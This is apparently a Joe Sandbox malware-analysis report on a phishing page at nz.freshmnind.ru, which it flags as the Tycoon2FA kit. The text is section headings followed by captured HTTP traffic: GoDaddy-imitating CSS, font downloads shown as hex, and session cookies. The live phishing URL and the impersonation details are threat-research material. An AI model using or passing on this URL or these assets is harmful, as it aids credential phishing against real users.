63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 74 65 Data Ascii: --ux-cao06b,#fff); border-color: var(--ux-97h3vl,#d3d3d3); border-width: var(--ux-19wr3kq,1px); border-radius: var(--ux-2jubes,2px);}#sections_godaddy .ux-alert a[href] { color: inherit; display: inline;}#sections_godaddy .ux-te
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: 32 31 38 31 0d 0a 78 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 2d 66 6c 75 69 64 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 38 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 38 70 78 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 2d 66 6c 75 69 64 3a 3a 61 66 74 65 72 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0d 0a 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 Data Ascii: 2181x;}#sections_godaddy .container-fluid { margin-left: auto; margin-right: auto; padding-left: 8px; padding-right: 8px;}#sections_godaddy .container-fluid::after { content: ""; display: table; clear: both;}#secti
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: 35 72 65 6d 29 20 2a 20 31 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 62 75 74 74 6f 6e 20 7b 0d 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 30 3b 0d 0a 20 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 62 75 74 74 6f 6e 3a 66 6f 63 75 73 20 7b 0d 0a 20 20 6f 75 74 6c 69 6e 65 3a 20 76 61 72 28 2d 2d 75 78 70 2d 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 2d 6f 75 74 6c 69 6e 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 62 75 74 74 6f 6e 2c 69 6e 70 75 74 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 69 6e 68 65 72 69 74 3b 0d 0a Data Ascii: 5rem) * 1);}#sections_godaddy button { border-radius: 0; text-transform: none;}#sections_godaddy button:focus { outline: var(--uxp-focus-visible-outline);}#sections_godaddy button,input { margin: 0; font-family: inherit;
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: 2d 39 37 68 33 76 6c 2c 23 64 33 64 33 64 33 29 3b 0d 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0d 0a 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0d 0a 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 30 3b 0d 0a 20 20 77 6f 72 64 2d 77 72 61 70 3a 20 62 72 65 61 6b 2d 77 6f 72 64 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6c 69 70 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 61 72 64 2d 62 6c 6f 63 6b 20 7b 0d 0a 20 Data Ascii: -97h3vl,#d3d3d3); position: relative; display: flex; flex-direction: column; min-width: 0; word-wrap: break-word; background-clip: border-box; margin-bottom: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .card-block {
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: 6f 6e 65 3b 0d 0a 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 2e 31 35 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0d 0a 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 75 78 2d 62 75 74 74 6f 6e 2d 69 6e 6c 69 6e 65 29 2e 75 78 2d 74 65 78 74 2d 73 69 7a 65 2d 31 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 30 2e 32 35 72 65 6d 29 2a 31 29 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 30 2e 32 35 72 65 6d 29 2a 33 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e Data Ascii: one; transition: .15s ease-in-out; vertical-align: middle;}#sections_godaddy .ux-button:not(.ux-button-inline).ux-text-size-1 { padding: calc(var(--ux-1sbfig8,0.25rem)1) calc(var(--ux-1sbfig8,0.25rem)3);}#sections_godaddy .ux-button
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 30 39 37 35 37 61 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 74 65 78 74 2e 75 78 2d 74 65 78 74 2d 61 63 74 69 6f 6e 20 7b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 30 3a 20 76 61 72 28 2d 2d 75 78 2d 37 34 73 31 62 6b 2c 76 61 72 28 2d 2d 75 78 2d 63 78 62 65 38 67 2c 31 72 65 6d 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 6c 69 6e 65 48 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 31 64 72 79 32 70 6a 2c 76 61 72 28 2d 2d 75 78 2d 6a 77 35 73 39 6a 2c 31 2e 35 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 61 72 28 2d 2d 75 78 2d 31 69 72 38 76 74 76 2c 76 61 72 Data Ascii: color: #fff; border-color: #09757a;}#sections_godaddy .ux-text.ux-text-action { --uxText--fontSize0: var(--ux-74s1bk,var(--ux-cxbe8g,1rem)); --uxText--lineHeight: var(--ux-1dry2pj,var(--ux-jw5s9j,1.5)); font-family: var(--ux-1ir8vtv,var

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://nz.freshmnind.ru/E9nFcFhuAwW2u/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tycoon2FA

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Windows Analysis Report
https://nz.freshmnind.ru/E9nFcFhuAwW2u/

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:17 UTC	1367	OUT	GET /GDSherpa-bold.woff2 HTTP/1.1 Host: nz.freshmnind.ru Connection: keep-alive Origin: https://nz.freshmnind.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InNaM2Q2Ri9KYTBQTEIyL2g2WGNON2c9PSIsInZhbHVlIjoiQVFOMFBOb09EOXAwYVJacGErOThYcytxZlQ2SXBrMWhwS3E5TlV4LzR6bHMraFRaSnVKUXBTWDJJeW03ZlpZU1RUejRkMUxjNlZSYWpBMkRaQlFoQlVnZHRJenc5S2RTUmFtcVNlVUM1NkpWQUZ6WGtvQXk4QkR2SDNIeUQ3MXAiLCJtYWMiOiI4NDdhYTE0ZjI5MmEzNzdjNWIyMGE1ZjIxODY1NmRhNDZjYTE1NjczNmJjMmNkMTJhOGMxYzM2YjdiMzJiZWRmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilh0bHVDeG9MV0VlT1FEVFdhSzlQcnc9PSIsInZhbHVlIjoicHNLbFlZbVg3akRMOXl1T1ZBQ2JSOVdReTNlMDVROGdWRlArWE1Sc0NJc2lYaGhPUmhhTWRVTU1XblVPVWxVZTJ0YzMzMytPckx0Q2FtMjRqMnlFenI1Qkw2c3YzVktSYXc3YUxCMDJsZmthWGRHMnpNbkQ4aGxSdnNJZmFiWVYiLCJtYWMiOiIyYjE4ODMxYzRiNjFkZGY4YWUyYjkyOGZlYzhkMmNlZTU4NWMwYzI4NmI2NTM5NGVmNzM3MTg4ZGU0Y2EzYmJlIiwidGFnIjoiIn0%3D
2025-03-25 17:08:19 UTC	1170	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 17:08:19 GMT Content-Type: font/woff2 Content-Length: 28000 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff2" cf-cache-status: EXPIRED Age: 4367 Last-Modified: Tue, 25 Mar 2025 15:55:32 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iCPb8D%2Byvp0uqSkSdH64b63%2FmDu0ciwz4ECd44s%2FBcOtfSjHT4hEuQwwWlaJ4s7tfBZDRJdYN0uYP34bILqqWQUFRqfI15Nw4gTH9Ukqq0rJJfoq9eCQJLLiHRz9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=5920&min_rtt=5342&rtt_var=2416&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2324&delivery_rate=542119&cwnd=250&unsent_bytes=0&cid=846a53353a2c09f0&ts=26&x=0" Cache-Control: max-age=14400 Server: cloudflare CF-RAY: 9260026c8a668ae3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105088&min_rtt=104771&rtt_var=22580&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1939&delivery_rate=35233&cwnd=249&unsent_bytes=0&cid=0205eac1ba7a89db&ts=1488&x=0"
2025-03-25 17:08:19 UTC	199	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6d 60 00 10 00 00 00 01 24 08 00 00 6c fd 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 9d 36 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 bb 24 82 9c 7f 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 03 07 97 7b 0c 81 0d 5b 09 10 71 05 6b b7 5d 5d 4f 88 db 06 10 73 b3 fd a9 7c 99 02 6e 8c 9b c7 21 18 d6 5b 3c 3b 10 83 ee e0 50 26 a6 cf 67 ff ff ff bf 21 a9 c8 98 49 27 69 b7 0d 51 01 44 50 d5 df 9f c4 1e 39 02 92 4a a0 06 b7 80 17 c1 39 47 eb 95 e9 98 51 31 28 8b f2 29 4a 6e c6 19 d5 d4 c5 d4 38 59 f3 d2 1b f9 1a 98 29 4a ce Data Ascii: wOF2m`$lB6`<<b$6$x> {[qk]]Os\|n![<;P&g!I'iQDP9J9GQ1()Jn8Y)J
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: 46 0e 63 20 41 96 af 37 6b ab 76 b3 8b e9 32 3d a1 5a ee 6e fa 34 60 12 ed 81 a0 c0 7e 4e 6c a4 81 ef 34 3b aa 91 07 53 f6 6c 7b 77 c7 c7 3a ae 23 d5 ee aa 3d 21 bc 20 bc ef 58 a8 f0 9b c5 a1 13 3e 5b 8f 37 84 95 1b dd c4 fb 92 f6 31 3f 3f e9 b5 33 1b 3f 74 d0 95 c5 71 45 fc 1e 66 c9 95 b6 19 62 97 c3 e1 2c c8 92 46 77 63 70 38 ab af 91 34 5e 02 5e 78 9e b1 7c a7 82 a3 c6 52 6f 3c 25 dc d7 22 2e e1 09 81 7e 30 8f 94 71 ee b7 f8 72 50 88 85 47 11 0b b2 82 f4 97 de 52 ff cd dd bc c0 2d 9d bc 7b 4f 92 51 65 4a a9 db c1 16 d8 36 ec 45 cd 8e 9e f6 ff fe b2 ac aa 7b ef 7b 1f 1a d4 a2 16 d0 2c 68 a5 21 8c cc 83 5f bd 04 bd dd 0b 7f 24 03 cb 33 a9 9d 63 46 40 11 87 3e b9 8f a3 0d a2 0d 1d 8d 74 c0 6f f3 ef d1 46 63 20 88 95 18 59 53 8c af ac 8d fe 73 19 56 d4 8c Data Ascii: Fc A7kv2=Zn4`~Nl4;Sl{w:#=! X>[71??3?tqEfb,Fwcp84^^x\|Ro<%".~0qrPGR-{OQeJ6E{{,h!_$3cF@>toFc YSsV
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: b7 61 e3 26 4c 59 b4 6c 05 db 15 d7 5c 77 d3 1d db f0 bf d6 60 31 5d 4a 97 d3 f5 f4 a4 59 2d 73 e6 2d 58 b4 64 d9 8a 55 6b d6 6d d8 dc d6 b6 77 b0 f6 d0 61 c3 47 8c 1c 35 30 7a cc f8 09 13 27 4d 9e 32 7d c6 cc 59 b3 e7 cc 1d dc f5 1e f7 b9 78 c9 46 1b f3 73 92 35 88 21 b9 90 06 4c a1 ec 44 53 63 41 4a 18 28 48 6b 6b a6 b0 10 96 b2 ea 6e 60 12 8b 54 27 3a 88 0d 21 91 cf 78 89 b0 b1 d8 18 21 22 c5 da ac b1 1d e5 ca f6 61 f6 a8 56 58 53 71 3c 02 8d 44 a2 a2 41 23 e9 58 a6 4f 15 82 22 96 74 9e aa c0 f4 bc 86 89 99 78 96 9e cc 06 39 a9 dd f8 40 7f e2 54 d8 c2 6b b4 1b e6 c5 e1 04 8c 66 32 96 29 88 85 e4 1c c6 0e b7 46 86 56 d0 e4 51 61 62 15 4f 01 27 e6 16 29 b4 dd 95 b0 ee 43 0c a3 4b ea 60 8c c0 09 ad e3 6f 88 46 c1 31 3e 16 2f a6 93 a3 2c a1 5c 8f a6 25 41 Data Ascii: a&LYl\w`1]JY-s-XdUkmwaG50z'M2}YxFs5!LDScAJ(Hkkn`T':!x!"aVXSq<DA#XO"tx9@Tkf2)FVQabO')CK`oF1>/,\%A
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: e4 a9 75 82 6c 46 dc 61 52 47 75 81 f7 9a 59 0b 79 56 80 3c 2f 6d c3 e0 bb bd e6 87 fe 1c cc 0d 18 38 fa 62 0b 01 bc 05 33 fb 67 82 27 9d 98 3f 21 ff 23 4c 66 24 d3 27 ca 08 44 a9 f4 ff 94 fa eb 3b bb 83 8b 02 47 f2 cd 86 8c 7f 4e e1 32 e7 d8 15 ae 79 f8 47 8f fa 05 96 b1 d9 36 75 60 b8 9c 89 84 ab 0f ce b6 0d b0 e5 e9 e7 53 21 f4 1c 5b 5e ef 2c e5 1d e5 33 06 58 b9 e3 bf 4b 32 40 cb 15 6f 86 0b 94 4f 42 ca e2 c7 88 be 73 54 45 83 70 c0 53 0f 20 a4 a1 c9 b1 40 1c 44 ef 81 97 5a db 50 18 22 a5 a5 70 8f 5f eb 4d ed 09 f5 04 d0 0c 6c ac d1 b3 da a0 5c ef 6b c9 93 48 d8 73 12 fe 6f 47 42 f7 de 47 8d 7e 39 a2 63 8a a3 c3 11 1b f3 63 3b c1 97 86 57 c5 13 9c 32 39 ea a5 bd 1f e9 a5 a8 95 ab e9 c3 25 f8 f4 7b a0 cc 90 77 51 d2 bd f8 79 19 f2 a2 47 74 0c d9 1e 6c Data Ascii: ulFaRGuYyV</m8b3g'?!#Lf$'D;GN2yG6u`S![^,3XK2@oOBsTEpS @DZP"p_Ml\kHsoGBG~9cc;W29%{wQyGtl
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: 74 4c d6 b5 c9 43 86 3d 79 6f 50 db 91 84 e7 ee 0c 54 fb e1 d1 8a eb f5 00 5f 98 7b d5 02 c9 d4 83 39 92 97 e2 70 58 d4 05 60 f1 63 30 c3 d6 0a 9b a6 c4 77 52 42 36 e2 4e 21 d6 57 4e 46 0f 3c c3 ed 46 2e 7c 76 0c b0 f5 48 c7 45 ff c9 ed f1 ab 91 fa 72 a5 ca 0f 4f 04 7a 13 ca b1 46 a7 b9 aa 87 1a 89 7e 63 b0 92 a4 e6 f9 de 46 9f dd 71 be 20 de e9 fd 8c 00 5a c9 1e 8a 23 4a 27 a0 ce 42 1e 5b 6d 40 40 3c bf 46 bf 87 3b 88 a3 bb ff 22 63 84 3f f6 b8 70 7f e1 e6 bf 7e 53 e1 e5 89 5b 97 e8 15 a4 24 20 35 29 73 9b 30 1c 97 3a f4 09 c6 df 6d af a6 d6 b1 39 44 4c 43 64 c3 d7 30 ff 90 97 df d3 35 dd 6c dd 23 7d 72 b0 63 e6 28 7b ec 1b cb 1d 01 12 cf d5 46 05 58 bf 47 3d 6f b5 4b 00 12 0c 03 15 52 e1 0d 36 3c 0b fa cd 75 d3 91 a9 e1 be 6c 7c 7c 41 17 7b 2e f2 7f 71 Data Ascii: tLC=yoPT_{9pX`c0wRB6N!WNF<F.\|vHErOzF~cFq Z#J'B[m@@<F;"c?p~S[$ 5)s0:m9DLCd05l#}rc({FXG=oKR6<ul\|\|A{.q
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: ea 99 43 c4 05 a8 5c 67 31 cd 47 a2 8b 64 af a2 dd 25 0f 30 42 87 63 c5 7e 02 a5 42 d3 64 32 44 01 80 0d 52 50 be b2 37 d0 27 5f 0e b0 93 cc 2b 52 29 c2 37 52 bd c4 24 13 01 62 ac 2c 71 16 6d 89 15 43 a2 4a 3b 58 10 63 15 56 19 85 c5 5a 67 71 36 93 89 64 c8 42 5e fa 4a 16 a3 48 89 c8 fb 86 a8 c7 95 6b f6 a2 f4 d9 42 5c e7 8c c8 5f 20 a2 10 a1 50 0e 9d 41 74 56 1d 2a 51 71 92 c8 4a 96 0a ed 93 8a 89 29 51 0e e3 ab 6a 60 7d 4b 03 9c 1f 74 2c 5e 9b da c2 4a 6b 65 09 da 58 6f 5f b0 f2 da 59 6e 1d ac 82 4e 2a fd d5 ab 8a a3 e8 d1 8b ac 4f 3f 69 03 98 28 06 61 15 0d b1 74 67 59 6f d3 2c c5 28 2b 60 8c 95 31 ce 0a 9a 60 9d 2c b0 42 a6 58 17 4b ac b0 19 96 6a 96 c5 9b 63 15 b1 58 bc 05 56 de 22 4b b1 c4 2a 5a 66 05 ad b0 9e ae b3 de 96 59 0a 36 eb ea 6b 96 62 83 Data Ascii: C\g1Gd%0Bc~Bd2DRP7'_+R)7R$b,qmCJ;XcVZgq6dB^JHkB\_ PAtVQqJ)Qj`}Kt,^JkeXo_YnNO?i(atgYo,(+`1`,BXKjcXV"K*ZfY6kb
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: 45 f7 3d f5 d6 fb 5a 82 72 a1 6e 7e 7e 7b 37 18 f8 eb 13 2a 2f ef e8 26 36 b5 d9 cd ef fc 58 bb b4 cb bb b9 db bb 1b e4 e5 dc c3 3d 8d df 4a f9 fe d7 96 4f 37 3f 59 8d e7 9d 71 5e ab 6f d5 3a fd e6 a3 ea 80 0b a6 f8 b7 66 9b 6a f9 f3 de b0 6c 5d 91 41 fb 55 e9 61 b1 07 7f af 1a 07 d4 e9 74 d4 71 87 1d 53 6b 42 d2 61 a3 2a dc 56 2f f9 94 4b e8 6e 35 a0 95 fc 21 95 ba 39 12 3d ac 96 41 e5 cc 83 5e 3e db 79 03 f8 0c 5e cb 96 bf 92 2a 5b bd e6 b9 2a a9 bb e2 91 c7 9e 78 e6 b9 57 66 7d b3 65 db 77 bf e3 de 80 35 64 25 fd 36 92 47 cf 3e 7d 5f 6e e3 ad 58 7f be b1 99 be cd 15 de 0b 26 5e 92 c5 62 ef 35 07 6f 38 79 c7 d1 5b 2e 56 29 5a 45 f7 91 a7 7f 79 f9 44 ce 02 0f ff f0 f2 93 bc 4e c0 f5 02 6f c0 b8 91 b2 35 fb 6e 15 7c 8b bd 77 6a dd 43 b1 df 38 9a 7b 42 ef Data Ascii: E=Zrn~~{7/&6X=JO7?Yq^o:fjl]AUatqSkBaV/Kn5!9=A^>y^[xWf}ew5d%6G>}_nX&^b5o8y[.V)ZEyDNo5n\|wjC8{B
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: 84 d2 b5 c8 56 0c f5 ae 4b 8d 29 69 f2 a2 75 ba 43 ea 2d 68 58 83 be 83 dd 43 d6 31 ba 15 81 fb 17 de df 75 68 4f ec 7e ab 07 bd e9 34 a9 d7 8a d4 77 27 a0 0e f7 9d 96 ee 5c ef b4 cb 85 21 1e 96 9d a0 a3 b1 c2 7d 45 9d 56 20 61 10 ab 5e 8e af b7 44 c1 41 79 72 28 b2 40 92 a6 76 40 d7 e9 9b 4e 17 70 c3 eb 07 ce b7 44 c7 5b c7 63 f9 4a fd d8 4e 56 2f cf af ee d8 24 78 49 15 c6 14 f7 ab 2c a4 75 fe c9 c2 66 1c d6 24 71 d3 2d 29 99 d0 52 63 a2 e2 cd b4 65 85 a7 0e 36 57 41 36 56 58 30 d6 23 83 e3 70 94 17 66 1c c2 45 aa ae cb b4 7a ea 60 12 7c b4 a5 f8 88 b5 1e 5e c2 f4 84 11 6c b3 6a 2f 19 20 76 93 d4 30 8c a0 43 60 5a 02 b6 86 06 43 15 03 f8 e9 de 72 8e 3a 34 91 e2 f4 87 5f a5 aa 47 88 20 c9 fa fb ce 20 2b 8c 56 d2 ed aa 25 a8 23 24 28 3a a4 17 c2 5e 60 66 Data Ascii: VK)iuC-hXC1uhO~4w'\!}EV a^DAyr(@v@NpD[cJNV/$xI,uf$q-)Rce6WA6VX0#pfEz`\|^lj/ v0C`ZCr:4_G +V%#$(:^`f
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: af dd 60 23 79 ad ae 50 0a d7 57 bd 3d 56 45 8f f1 55 61 5f 2e ac 3d 06 0a 28 a4 49 6d a6 6f 46 1d 78 2e 47 5c 51 cf 7c ea d0 49 1b 79 95 1a 90 09 07 ff e7 e0 5d 83 d3 28 88 e9 61 21 f3 ca 66 a2 92 b8 04 af ef 77 01 2a 09 ff 91 f0 69 77 23 61 21 25 46 28 08 a1 1a b9 32 ee a4 7a 2c 43 f1 5d 0f d7 d9 65 89 90 f3 df f1 15 f0 d2 09 5d e7 95 37 00 18 28 22 e9 a2 1e b9 c0 9b ab 68 a3 79 74 d9 52 b7 93 7a dc 8b 03 36 d0 90 31 30 a2 22 39 30 0b e9 af c4 ac ee 1a a5 27 78 e5 94 89 1f 92 35 2f d0 e1 36 92 dc 13 cf 16 14 2d f4 74 a5 e6 a9 57 17 69 9d 9f 61 97 5b a0 ea 8a dd 0a 65 cc b0 71 0d 44 47 a3 1c 7c 10 58 24 97 38 21 0c 62 5b 68 70 c9 54 52 48 b1 b4 62 11 48 69 de 26 c2 4b bb 1b 92 67 61 05 df cc 2e 5d fc b1 d9 57 bf 1d 61 25 09 cc c4 e7 b3 02 52 4f 2e 36 c9 Data Ascii: `#yPW=VEUa_.=(ImoFx.G\Q\|Iy](a!fw*iw#a!%F(2z,C]e]7("hytRz610"90'x5/6-tWia[eqDG\|X$8!b[hpTRHbHi&Kga.]Wa%RO.6
2025-03-25 17:08:19 UTC	1369	IN	Data Raw: 7d 1b 34 50 c6 40 f7 f0 f8 30 57 e9 7c 0c 7d 0f b1 ab 87 c3 38 9b e3 57 66 17 81 f8 91 c4 6a 08 1e a1 73 a2 b3 0d 59 7d 44 8b f1 ba 4b f8 4d 02 ea 4b 96 f7 6d 42 bd d0 f6 0b 06 34 25 52 bf 52 4c 70 57 bf 97 33 c0 a8 71 9a 82 4d 81 d9 7c bc f7 d8 5f 66 46 0a 04 a5 9f 95 0f 3d fc 2f 17 3f 5e 43 fd 6c 6d e7 27 06 d3 df 98 97 6a 86 dc 2e 0c ba 71 ba ba 58 36 2e ce 5f 11 69 c0 a3 ae 38 d2 24 16 b8 20 50 cc fd 01 0f eb cb 42 75 0d 29 de 40 02 76 62 ac 0d d6 cc b6 42 3e f2 ed f1 93 3b 5f aa 81 90 71 ec ca ab 8a 73 b5 c4 68 3f 46 e1 c8 59 5d c2 3d da bf f9 eb 22 81 08 df 70 3e a9 f4 1e fe de 91 8e df 17 6f db e8 29 45 d2 10 bf 4e 8c 3d 28 54 f9 9c 6a 56 2d d4 f3 f9 8d 6f bb b1 5d 75 37 03 67 77 4b 0b 12 c2 6e 9b 97 47 5d ba be c7 ca 44 70 e6 80 2c 4f 95 71 9e 10 Data Ascii: }4P@0W\|}8WfjsY}DKMKmB4%RRLpW3qM\|_fF=/?^Clm'j.qX6._i8$ PBu)@vbB>;_qsh?FY]="p>o)EN=(TjV-o]u7gwKnG]Dp,Oq

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:17 UTC	1366	OUT	GET /GDSherpa-bold.woff HTTP/1.1 Host: nz.freshmnind.ru Connection: keep-alive Origin: https://nz.freshmnind.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InNaM2Q2Ri9KYTBQTEIyL2g2WGNON2c9PSIsInZhbHVlIjoiQVFOMFBOb09EOXAwYVJacGErOThYcytxZlQ2SXBrMWhwS3E5TlV4LzR6bHMraFRaSnVKUXBTWDJJeW03ZlpZU1RUejRkMUxjNlZSYWpBMkRaQlFoQlVnZHRJenc5S2RTUmFtcVNlVUM1NkpWQUZ6WGtvQXk4QkR2SDNIeUQ3MXAiLCJtYWMiOiI4NDdhYTE0ZjI5MmEzNzdjNWIyMGE1ZjIxODY1NmRhNDZjYTE1NjczNmJjMmNkMTJhOGMxYzM2YjdiMzJiZWRmIiwidGFnIjoiIn0%3D; 